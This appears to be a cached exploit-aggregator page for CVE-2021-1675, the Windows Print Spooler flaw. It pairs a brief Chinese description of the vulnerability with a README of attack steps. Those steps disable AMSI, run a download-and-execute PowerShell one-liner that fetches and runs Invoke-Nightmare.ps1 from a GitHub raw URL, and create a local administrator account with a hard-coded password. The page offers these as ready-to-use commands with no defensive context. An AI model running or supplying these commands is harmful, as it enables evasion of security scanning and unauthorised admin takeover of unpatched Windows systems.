CVE-2021-1675 PoC — Microsoft Windows Print Spooler Components 安全漏洞

Source

https://github.com/jj4152/cve-2021-1675

Associated Vulnerability

Title:Microsoft Windows Print Spooler Components 安全漏洞 (CVE-2021-1675)
Description:Microsoft Windows Print Spooler Components是美国微软（Microsoft）公司的一个打印后台处理程序组件。 Microsoft Windows Print Spooler Components存在安全漏洞。以下产品和版本受到影响：Windows 10 Version 1809 for 32-bit Systems,Windows 10 Version 1809 for x64-based Systems,Windows 10 Version 1809 for AR

Readme

# cve-2021-1675
#disble amsi: (copy into powershell)
https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt

#execute invoke-script
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')

#create admin account
Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"

File Snapshot


 [4.0K]  /data/pocs/b47871b87d2c6c897d9857da43981160d4ba10e8
├── [1.2K]  disable-amsi.txt
├── [175K]  Invoke-Nightmare.ps1
└── [ 385]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!